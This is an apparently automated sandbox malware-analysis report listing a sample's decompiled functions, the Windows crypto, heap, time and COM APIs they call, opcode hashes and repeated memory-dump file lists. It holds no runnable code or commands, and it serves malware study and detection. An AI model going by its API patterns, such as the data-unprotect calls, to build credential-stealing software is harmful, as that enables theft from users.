Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 07d0bee90185fa841f810ff953cc4089f53fc63026461fb4057d8ba345d48cd3
Instruction ID: 1ab836c6a833e837722232dadb2766acb2dc800fa90f76ebc7aa94e064bb7dd0
Opcode Fuzzy Hash: 07d0bee90185fa841f810ff953cc4089f53fc63026461fb4057d8ba345d48cd3
Instruction Fuzzy Hash: E111DA74200205AFDB00CF64D885FAB3BE9EF89714F109998F9958B290DB75EA41DB64

Function 00AF9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9B2A
LocalFree.KERNEL32(?,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B3F

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: b238a1b8059714b7d35f183cda1423059dbaa3c12ff27ef1948db777eeac9319
Instruction ID: 11ce80c2d9112ffebd2695dbdd16d144da16beeba9292bd6de387b1a332129a6
Opcode Fuzzy Hash: b238a1b8059714b7d35f183cda1423059dbaa3c12ff27ef1948db777eeac9319
Instruction Fuzzy Hash: 2F1163B4641308AFEB10CFA4DC95FAA77B5EB89714F208158FA159B390C775A941CB60

Function 00B07980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B10E00,00000000,?), ref: 00B079B0
RtlAllocateHeap.NTDLL(00000000), ref: 00B079B7
GetLocalTime.KERNEL32(?,?,?,?,?,00B10E00,00000000,?), ref: 00B079C4
wsprintfA.USER32 ref: 00B079F3

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 8def0b37e4f3ebc5807f449804beb998685059698628b1959fdb36947dfc0910
Instruction ID: 7bae3e5f18cacf13fa3cb8b37769fd61e265c3897f42fb1ca8a439098e941999
Opcode Fuzzy Hash: 8def0b37e4f3ebc5807f449804beb998685059698628b1959fdb36947dfc0910
Instruction Fuzzy Hash: 93112AB2A04618ABCB14DFC9DD45BBEBBF8FB4CB11F10415AF645A2290D6395940C7B1

Function 00B07A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,018AF200,00000000,?,00B10E10,00000000,?,00000000,00000000), ref: 00B07A63
RtlAllocateHeap.NTDLL(00000000), ref: 00B07A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,018AF200,00000000,?,00B10E10,00000000,?,00000000,00000000,?), ref: 00B07A7D
wsprintfA.USER32 ref: 00B07AB7

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 4c9638e9c86b2bee04a3fa9603f764a310f9219a2b3c9bd4e5a16940b5853c06
Instruction ID: d349c6dd63eda9da0bf1f801dfbdf2b0c17e9b22fe93f248e00998292bc3ee97
Opcode Fuzzy Hash: 4c9638e9c86b2bee04a3fa9603f764a310f9219a2b3c9bd4e5a16940b5853c06
Instruction Fuzzy Hash: B1117CB1A45618EBEB209B58DC49FA9BBB8FB04721F1042DAE90A932D0CB741A44CB51

Function 00EAC92D Relevance: 5.3, Strings: 3, Instructions: 1520COMMON

Download Yara Rule

Strings

{;, xrefs: 00EAD329
Bl?, xrefs: 00EAD246
RrN;, xrefs: 00EACD2B

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Bl?$RrN;${;
API String ID: 0-279743825
Opcode ID: 966422e7eef111bb95e54303ed787e323328b539dfe27a01b47643bf5638e217
Instruction ID: 73b09508e4eef832a50d63ee8dd50f17dfbf2428f8ab5d2ed1c97dae3d764697
Opcode Fuzzy Hash: 966422e7eef111bb95e54303ed787e323328b539dfe27a01b47643bf5638e217
Instruction Fuzzy Hash: 78B2B0F390C2149FE3046F29EC8566AFBE9EF94720F16492DEAC4C3744EA7558408B97

Function 00B03720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00B0E118,00000000,00000001,00B0E108,00000000), ref: 00B03758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00B037B0

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: b6deb2affac278be5ad6f26e274f7985b210cefc0e9be722d2369844464274b9
Instruction ID: e0acaa7602fd11a2531d2cb2a66861699c7bf1b428b0103c949891a5d5f13462
Opcode Fuzzy Hash: b6deb2affac278be5ad6f26e274f7985b210cefc0e9be722d2369844464274b9
Instruction Fuzzy Hash: D241EC70A40A189FDB24DB58CC99B9BB7B5BB48702F4081D8E618E72D0D771AE85CF50

Function 00AF9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00AF9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00AF9BA3
LocalFree.KERNEL32(?), ref: 00AF9BD3

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 18ed1db4e84f072b1bd0f16f562a6b2d3ec76ff93d7a09d4ea7c57e91428d63d
Instruction ID: 90d5014fe1ac82f6dbea656fd2528fdc52bc67293b19a055d801d3cb9e559927
Opcode Fuzzy Hash: 18ed1db4e84f072b1bd0f16f562a6b2d3ec76ff93d7a09d4ea7c57e91428d63d
Instruction Fuzzy Hash: 5911B7B8A00209EFDB04DF98D985AAE77B5FF88300F104598F915A7350D770AE10CFA1

Function 00EB51E0 Relevance: 3.7, Strings: 2, Instructions: 1231COMMON

Download Yara Rule

Strings

q}_, xrefs: 00EB5493
ti=^, xrefs: 00EB6032

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: q}_$ti=^
API String ID: 0-1235932989
Opcode ID: b701d99083ccffd0c500442726ce9b698755f98d9671e626bbf95810d9130c98
Instruction ID: 17ba3dd125ba54e1590a60ca6eaf7b3f790afa87759a604ccb5869e38c02b476
Opcode Fuzzy Hash: b701d99083ccffd0c500442726ce9b698755f98d9671e626bbf95810d9130c98
Instruction Fuzzy Hash: 5E8219F360C2149FE3046E2DEC8567ABBE9EF94720F16463DEAC4C3744EA3598058697

Function 00EAB112 Relevance: 2.6, Strings: 1, Instructions: 1387COMMON

Download Yara Rule

Strings

E?_, xrefs: 00EABE6A

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: E?_
API String ID: 0-4261685252
Opcode ID: ac02563b6c55904dc819477dc8af34752558e0faae8c6c7438662a5602f8cbbe
Instruction ID: c57090381168d564de6be1bf0cb20de8e2c7786403e86d9a9e3b78f4fb9f806c
Opcode Fuzzy Hash: ac02563b6c55904dc819477dc8af34752558e0faae8c6c7438662a5602f8cbbe
Instruction Fuzzy Hash: CA9206F390C2009FE704AE28DC8567AB7E5EF94720F1A493DEAC5D3744E63598048797

Function 00EB08C0 Relevance: 2.1, Strings: 1, Instructions: 804COMMON

Download Yara Rule

Strings

6lw, xrefs: 00EB0D62

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6lw
API String ID: 0-3761701750
Opcode ID: a9fd1c7c11ac48c6c8b7b5d162177fe379cbc2ef5319d1d8989407f1f561985f
Instruction ID: 7dc4cff1d53ea266acf285ac39b7bb79c31f15829b6482a0c94c1231d3c443dc
Opcode Fuzzy Hash: a9fd1c7c11ac48c6c8b7b5d162177fe379cbc2ef5319d1d8989407f1f561985f
Instruction Fuzzy Hash: 893229F3608200AFE3046E2DED8577AFBE9EF94360F1A493DE6C4C7744E63598058692

Function 00D9FD81 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

QYfw, xrefs: 00D9FD95

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: QYfw
API String ID: 0-3428747866
Opcode ID: 5dd0e4b5f5223a6f497793574949055427c1ce299db59eb3c3ae51bc169bd30b
Instruction ID: 53c1cd12d8fc0c48f6b9a19efe77e219191ca0654fb42d2a5794579badc210e7
Opcode Fuzzy Hash: 5dd0e4b5f5223a6f497793574949055427c1ce299db59eb3c3ae51bc169bd30b
Instruction Fuzzy Hash: 5F51F4B3A082045FF344AE79DC857BBBBD6EBD4720F1B853DDAC883740E97958058692

Function 00E0CFF5 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b69913e1066b70c74cb02b6ce2ad18c2dbe8029f8ab7d46cee1dcca4c82b5112
Instruction ID: 1eed32b27859dce2fc719fa05327aaac8715d33b636198da0a6f4abacd0c0d98
Opcode Fuzzy Hash: b69913e1066b70c74cb02b6ce2ad18c2dbe8029f8ab7d46cee1dcca4c82b5112
Instruction Fuzzy Hash: 9551E8B3D082149FE3186E2DDC9576AFBD5EB58320F17463CEADA93780E9755C048782

Function 00D6879F Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
